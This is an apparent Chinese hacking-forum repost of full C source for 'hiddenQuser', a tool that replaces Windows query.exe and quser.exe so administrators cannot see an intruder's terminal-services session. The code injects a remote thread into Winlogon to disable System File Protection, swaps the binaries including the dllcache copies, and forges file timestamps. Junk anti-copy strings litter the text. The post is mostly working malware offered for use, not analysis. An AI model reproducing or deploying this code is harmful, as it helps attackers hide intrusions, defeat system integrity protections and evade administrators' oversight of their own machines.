[转帖] hiddenQuser + 源码

本主题由 mwpq 于 2007-11-7 08:57 关闭

garnett_wu

版主

Rank: 9 Rank: 9 Rank: 9

UID: 93352
帖子: 11186
精华: 22
积分: 8888
菊花元: 7288 元
威望: 32 点
阅读权限: 100
在线时间: 2295 小时
注册时间: 2006-1-16
最后登录: 2008-10-14

顶楼大中小发表于 2007-5-22 14:53 只看该作者

hiddenQuser + 源码

hiddenQuser + 源码query user 这个命令大家都知道吧？这个程序的作用就是替换系统目录下的Quser.exe与Query.exe，这样你登录终端后，管理员使用 query user 查看时看不到你已经登录了，但是有一点不足的就是在任务管理器中没有隐藏。
2 _7 F: Q( S: {' X8 ?9 B6 \; v
来源：精灵's Blog
执行后替换系统目录下的Quser.exe与Query.exe ,登陆过终端服务器的朋友都知道这两个工具是做啥的吧~/ c' k8 }+ K0 q* F

大家都知道，在Windows 2000和WindowsXP及2003系统中有系统文件保护功能，一旦被保护的系统文件被修改了，就会弹出需要插入系统安装盘CD的对话框。所以本工具采用了黑客之门的方法,通过远程注入进程让系统文件保护暂时失效,然后执行替换的操作.执行后自动替换系统的这两个文件包括dllcache下的对应文件，让系统文件保护也无法还原系统原来的这两个文件.5 K" r5 O3 c* u+ t; Q

没什么技术含量,在任务管理器中隐藏还不会.' z/ P& W4 Y. r$ |4 X: M( l% i5 T
程序代码：
#include<stdio.h>
#include<windows.h>3 K5 G: e: U1 [+ c: O; W8 _
#include<TLHELP32.H>
#include"resource.h"! u7 O' T: O0 c) K* D
# M; i% U$ L" D
BOOL ExtractFile(LPCTSTR szResourceType,LPCTSTR szResourceName,LPCTSTR szFilePath,HMODULE hModule, // = NULL,
BOOL bHidden ); // = TRUE: _- q* P( a4 H: W8 n
DWORD GetProcessIDFromName(char * name);# l, s7 j5 E1 s3 B% A" N
BOOL DebugPrivilege(const char *PName,BOOL bEnable);

FILETIME lpCreationTime; // 文件夹的创建时间
FILETIME lpLastAccessTime; // 对文件夹的最近访问时间 % a/ h& v9 o8 S. l6 Y! a x
FILETIME lpLastWriteTime; // 文件夹的最近修改时间+ c0 d9 Y1 Y* e+ ?& `/ U9 h5 n' [

void main(int argc,char * argv[])
{) M i! X* s# {! @4 \
char System[MAX_PATH] = {0};
char System1[MAX_PATH] = {0};
char System2[MAX_PATH] = {0};
char System3[MAX_PATH] = {0};
char System4[MAX_PATH] = {0}; A0 i9 p+ J" Y5 j X
char Queryexe[MAX_PATH] = {0};5 [/ k5 V2 }9 I, @- m
char Queryexe1[MAX_PATH] = {0};
char Quserexe[MAX_PATH] = {0};
char Quserexe1[MAX_PATH] = {0};3 n: O4 a& j- R7 ^
HANDLE hFile = INVALID_HANDLE_VALUE;
* G* K# t2 i- X8 ?# C
printf("\n=========================================================================\n");
printf("[F.S.T] hidden Other user info when execute query.exe & quser.exe\n");/ j- D& _( B: X) f2 }
printf("Welcome to [F.S.T] Http://Www.Wrsky.com\n");2 ?4 z# C I0 q2 X
printf("Code by Sprite\n"); ?( U7 A4 b) v# r1 i
printf("=========================================================================\n");

GetSystemDirectory(System,MAX_PATH);/ a% f" _" V& R4 s5 ]% s* U; z

strcat(Queryexe,System);
strcat(Queryexe,"\\query.exe"); H1 X' t3 ^ w: q
printf("%s\n",Queryexe);; Z: j8 e) c2 S6 P
+ T! I% Y4 y2 ?
hFile = CreateFile(Queryexe,
GENERIC_READ,
FILE_SHARE_READ|FILE_SHARE_DELETE,% e0 E h9 G9 I' N5 y
NULL,) k, _4 p# A2 }/ `/ `3 L* _9 x
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS,
NULL( z% s: ]( `* N& f
);+ \2 x t, S7 p% B3 h5 S9 Y

// 获取文件夹时间属性信息/ ^) P# X& I2 V, ~
GetFileTime(hFile, &lpCreationTime, &lpLastAccessTime, &lpLastWriteTime);
9 l o. c5 E! _( \5 n% z$ ^( j
CloseHandle(hFile);

strcat(Quserexe,System);' \9 ?8 K2 ~# P+ r; z) N( a5 S; Y
strcat(Quserexe,"\\quser.exe");
printf("%s\n",Quserexe);. x2 g K3 o3 H+ c7 q
! Y0 R: E# }; y2 \/ H( T/ J, _
strcat(Queryexe1,System);
strcat(Queryexe1,"\\dllcache");
strcat(Queryexe1,"\\query.exe");
printf("%s\n",Queryexe1);- f' N: q/ Y% s) d% i7 v+ p0 i# J

strcat(Quserexe1,System);
strcat(Quserexe1,"\\dllcache");" W: Y: G3 X. H: X1 `5 j
strcat(Quserexe1,"\\quser.exe");% a8 I2 V. q \# `
printf("%s\n",Quserexe1);: U6 Q- r$ N+ B( Q5 N

strcat(System1,"rename ");
strcat(System1,System);
strcat(System1,"\\query.exe "); Y B! u2 }9 T$ _% J9 e5 t
strcat(System1,"query1.exe");! k, s1 h3 V2 _ F0 a. S
" U- O7 F: _1 `; ]5 } e, S
strcat(System2,"rename ");
strcat(System2,System);
strcat(System2,"\\quser.exe ");
strcat(System2,"quser1.exe");, ^! k0 k1 E! } B- s
* T: r* H8 F+ i
strcat(System3,"rename ");! Z7 s- N) S7 Z
strcat(System3,System);& P9 R0 M5 O/ V3 q) }; g( W/ V$ B
strcat(System3,"\\dllcache");
strcat(System3,"\\query.exe ");2 Z# s! v$ H, ?1 c0 U
strcat(System3,"query1.exe");2 D8 F9 r$ ?: K" w3 G. ]

strcat(System4,"rename ");. ~7 O h9 H0 g: z0 y
strcat(System4,System);. ]8 t. z% U$ a- V- Q
strcat(System4,"\\dllcache");
strcat(System4,"\\quser.exe ");% ]1 V8 n8 y1 C; a7 {8 s( }" y
strcat(System4,"quser1.exe");. p1 q# E( n4 b: A9 w: s

printf("%s\n",System1);
printf("%s\n",System2);
printf("%s\n",System3);2 N& ?) A" J2 h! d# T
printf("%s\n",System4);% ~# b2 r5 e6 |2 Q! g3 `$ M

DebugPrivilege("SeDebugPrivilege",TRUE);

/*得到进程的ID，具体的方法可以使用CreateToolHelpSnap32()，ProcessFirst32()以及ProcessNext32()得到*/
DWORD dwPid=GetProcessIDFromName("Winlogon.exe");
1 i: h8 i; {9 {) v o" s Q' N
printf("Winlogon 's Process ID is:%d\n",dwPid);

HANDLE hProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,dwPid);
% z( q' I4 n& t; [ D( A
DWORD dwVersion;) d0 c* l! V1 J& f; e

HMODULE hSfc;! _* o0 y: a" r9 X
5 o6 j% C# {1 a6 i
dwVersion = GetVersion();6 Z b1 o$ _8 U7 s% Y( G

//判断操作系统的类型
# {8 J- j0 r6 U" Y( Y* s& W
if ((DWORD)(LOBYTE(LOWORD(dwVersion))) == 5)
( Q; f7 ]* y- G
{// Windows 2000/XP/20032 h: L$ Q% O8 X# ]7 q

if((DWORD)(HIBYTE(LOWORD(dwVersion))) == 0) //Windows 20008 B. l7 G4 t3 C$ s+ o
1 T! `) ~, g5 u3 W8 Z: ^# D. H, s
hSfc = LoadLibrary("sfc.dll");# | w) A# M. l* C- m; L3 g7 z
) U; T/ z0 I2 ~5 O% m; J7 \
else if((DWORD)(HIBYTE(LOWORD(dwVersion))) == 1) //Windows XP

hSfc = LoadLibrary("sfc_os.dll");" T; G; h* s3 ^( d& i
else if((DWORD)(HIBYTE(LOWORD(dwVersion))) == 2) //Windows 2003! e0 X' ?9 y ^2 x W6 t- g" l7 n

hSfc = LoadLibrary("sfc_os.dll");6 t* L }; G2 X/ }

}+ R: D5 I: t2 @1 q( l$ Y
( \; O- y2 Q+ d( {& s# ^+ ]
//得到函数的地址
7 u; T8 ?; W; H/ o0 X
FARPROC dwAddress=GetProcAddress(hSfc,MAKEINTRESOURCE(2));* l- D1 ~) B2 v$ J0 z

DWORD dwThreadId;
9 E4 y. h( S" u( s3 L- p+ d* P
HANDLE hThread;

//创建远线程

hThread =CreateRemoteThread(hProcess,0,0,(DWORD (__stdcall *) (void *))dwAddress,0,0,&dwThreadId);

WaitForSingleObject(hThread,2000l); 6 {+ R6 v5 n$ n) E
h4 w- g# }2 S! W% }- a) ^+ b
system(System3);5 \; a6 t) c& J8 S+ _# W& m7 [
system(System1);
system(System4);
system(System2);

if (ExtractFile("myexe",MAKEINTRESOURCE(IDR_MYEXE1),Queryexe1,NULL,FALSE))
printf("Extract %s Success!\n",Queryexe1);
else
printf("Extract %s Error!\n",Queryexe1);

if (ExtractFile("myexe",MAKEINTRESOURCE(IDR_MYEXE1),Queryexe,NULL,FALSE))* r+ G, J: v. i
printf("Extract %s Success!\n",Queryexe);
else
printf("Extract %s Error!\n",Queryexe); + n1 A/ c) j( k3 D. U

if (ExtractFile("myexe",MAKEINTRESOURCE(IDR_MYEXE2),Quserexe1,NULL,FALSE))3 \: O$ _" q0 x9 A
printf("Extract %s Success!\n",Quserexe1);! l2 M* m# [( c" U9 T3 z; y1 e
else
printf("Extract %s Error!\n",Quserexe1);6 s! [. [3 l( w& O x

if (ExtractFile("myexe",MAKEINTRESOURCE(IDR_MYEXE2),Quserexe,NULL,FALSE)). X: w# Z: g$ K. t( u/ d
printf("Extract %s Success!\n",Quserexe);
else
printf("Extract %s Error!\n",Quserexe);/ s( M) q' F0 s' z7 R' [
DebugPrivilege(SE_DEBUG_NAME,FALSE);
CloseHandle(hThread);) z5 X1 y# e) H* y% h
}
' h# r2 u f% M: z
/*函数ExtractFile（导出一个自定义资源）*/# Q) {0 ?7 j( E m7 m
BOOL ExtractFile(LPCTSTR szResourceType,LPCTSTR szResourceName,LPCTSTR szFilePath,HMODULE hModule, // = NULL,
BOOL bHidden ) // = TRUE4 u5 G* M# j8 B! c* f) p; [
{ , U, E: m6 r2 s- ~
// 如果用户没指定实例句柄，则假设在当前进程中1 a, O( j2 w& X; q+ [
HMODULE hCurProc = hModule;
if ( NULL == hModule ). x9 {. T- N* p4 \+ m) z' h
hCurProc = GetModuleHandle(NULL);- { U0 [1 T5 G+ N' I
//ASSERT( hCurProc ); // find the RESOURCE_DEFINE resource data.+ M2 F+ G* w6 p4 e: P2 ~3 y/ J
HRSRC hResourceExeFile;9 h4 w( N2 ?* f2 y
hResourceExeFile = FindResource(hCurProc,szResourceName,szResourceType );- e8 ^5 P# B: c$ Y$ f

if ( ! hResourceExeFile ) , W+ h0 R0 m5 ]" s6 T
{
//TRACE(_T("findresource failed!!(%ld) "), GetLastError());
printf("findresource failed!!(%ld) ", GetLastError());
return FALSE;
} // get size of resource7 `% o$ P+ C+ x6 V9 o
DWORD dwSize = SizeofResource( (HMODULE)hCurProc, hResourceExeFile );* ~ t! Z r, E W& B2 U1 U. o1 ~1 y; _
if ( 0 == dwSize )
{
//TRACE(_T("can not get the resource size"));" F8 O5 S0 J. n# p7 Z% x# t
printf("can not get the resource size");* ?7 g' ?; ?# d0 p: ^
return FALSE;
} // alloc the global memory
HGLOBAL hGlobalMem = LoadResource(hCurProc, hResourceExeFile );# i K5 \$ K; n
: w1 n$ e* L! v
if ( NULL == hGlobalMem )5 c9 g2 K4 f, M! T4 e
{0 K4 P5 _ r i
//TRACE(_T("LoadResource failed! %ld"), GetLastError());& _# `0 n. o' p$ P
printf("LoadResource failed! %ld", GetLastError());. m& u. w3 C p$ o
return FALSE;
}$ J7 f7 s6 }5 t6 x& h2 ?6 a
// lock the resource3 b# n) K, b7 ?2 t6 ^
LPVOID lpExe = LockResource( hGlobalMem );
//ASSERT( lpExe );$ t6 U8 b! p$ u8 W# R
/*if (!DeleteFile(szFilePath))* W7 A4 R$ h" H, A" Y
{ `$ d. g) i$ [5 X
printf("删除文件失败！");
return false;
}*/+ P8 q7 a9 n$ S6 {$ `& P
// 是否隐藏
DWORD dwAttrib = FILE_ATTRIBUTE_NORMAL;
if ( bHidden )1 @% e+ r: X0 \
dwAttrib |= FILE_ATTRIBUTE_HIDDEN; // copy to file!!3 D& T& r' W! d/ ^9 f
6 X6 `& s D! H8 Z
HANDLE hFile = INVALID_HANDLE_VALUE; N1 S2 b2 n6 c( Y' ]" K" d

hFile = CreateFile(szFilePath,
GENERIC_WRITE,
0,7 H3 T3 X$ }- M; P/ m& F& H
NULL,
CREATE_NEW,, }7 b6 V2 Y0 r. M3 O2 ]8 X# m
dwAttrib,* r3 X2 M# m M* B: }$ f
NULL
);
if ( INVALID_HANDLE_VALUE == hFile )8 _- E" }* c. W, a
{
//TRACE("can not open the target file (%ld) ", GetLastError());$ h* {! R: l7 B0 \4 C
printf("can not open the target file (%ld) ", GetLastError());$ M2 F: o" f+ K7 I
return FALSE;
}
DWORD dwWritten;
0 r9 `4 n4 n: C5 c7 [3 o6 c, r& ~
if ( ! WriteFile( hFile, lpExe, dwSize, &dwWritten, NULL ) )
{ @1 g3 t. k) P) a& d0 w {
//TRACE(_T("can not write the target file %ld"), GetLastError());7 A8 \; B# ]0 q; q- h1 Y8 ?) v, D
printf("can not write the target file %ld", GetLastError());. e/ S. k% X# E$ K
CloseHandle( hFile );; O0 [. p/ D% b) K/ ^ W- y
return FALSE;
}( h2 i$ Q- f1 Q5 [" ^
//设置文件日期4 f+ r6 w0 k# X# b
SetFileTime(hFile, &lpCreationTime, &lpLastAccessTime, &lpLastWriteTime);
% R% N) r3 D) r! @
CloseHandle( hFile );
return TRUE;
} 4 n9 b1 q) i3 R$ N, L3 {3 O5 A- ^2 R

//提升特权
3 P' Q, G$ C/ ?
BOOL DebugPrivilege(const char *PName,BOOL bEnable)
{
BOOL bResult = TRUE;, _' a4 G; W/ Q# L( k
HANDLE hToken;
TOKEN_PRIVILEGES TokenPrivileges;& b( _0 ^( h# F$ `' J
) L$ k/ V0 R; b+ D
if(OpenProcessToken(GetCurrentProcess(),TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES,&hToken) == 0)
{% [( c5 }/ z; T1 V/ D
printf("Fail To OpenProcess \r\n");) K' O) H0 w- |+ ^8 s1 ^
bResult = FALSE;/ ^4 w1 ^3 ]6 W2 q N& K$ V/ V
return bResult;
}
TokenPrivileges.PrivilegeCount = 1;1 F1 m5 o% @' [5 P, r
TokenPrivileges.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;, f5 Y( v' s# Z2 a6 l8 {
LookupPrivilegeValue(NULL,PName,&TokenPrivileges.Privileges[0].Luid);+ N, Q! e; [8 b* x1 v2 y* Y
AdjustTokenPrivileges(hToken,FALSE,&TokenPrivileges,sizeof(TOKEN_PRIVILEGES),NULL,NULL);
if(GetLastError() != ERROR_SUCCESS)$ V% C( t7 Q9 v& x; A8 [' E$ {
{& F1 ~2 T, i' l4 z
printf("Fail To AddPrivilege \r\n");
bResult = FALSE;
}0 Y9 f- H4 B0 X' A1 ^$ x
CloseHandle(hToken);% ^4 S- e1 ~+ p2 P

return bResult;7 |( Y$ u6 z# u5 t1 v
}& q' M# V( w" Q8 b* C b* ^" a

//得到进程ID
. V2 \" D) D) {! ?5 J) h/ Z" _
DWORD GetProcessIDFromName(char * name), u) K! V. L' A5 D, [
{; w7 ]& f% G$ O5 |. v
HANDLE snapshot ;, G: V, I) }5 J2 n$ g" s3 L" i
PROCESSENTRY32 processinfo ;
processinfo.dwSize = sizeof (processinfo) ;
snapshot = CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS, 0) ;* m# k* d7 `9 V! n. p* W" g
if (snapshot == NULL) return FALSE;

BOOL status = Process32First (snapshot, &processinfo) ;
while (status)
{+ M5 M5 r$ _6 [& b
if(stricmp(name,processinfo.szExeFile)==0)
return processinfo.th32ProcessID;
status = Process32Next (snapshot, &processinfo);
}
return -1;
}

TOP

fangxiu

社区乞丐

UID: 148886
帖子: 87
精华: 0
积分: -9
菊花元: -9 元
威望: 0 点
阅读权限: 1
在线时间: 6 小时
注册时间: 2007-3-20
最后登录: 2007-11-23

2楼大中小发表于 2007-6-18 22:55 只看该作者

我也不知道

TOP

‹‹ 上一主题 | 下一主题 ››

Theme designed by LinStyle.cn | CnTheme Designer's works

Processed in 0.507718 second(s), 10 queries, Gzip enabled.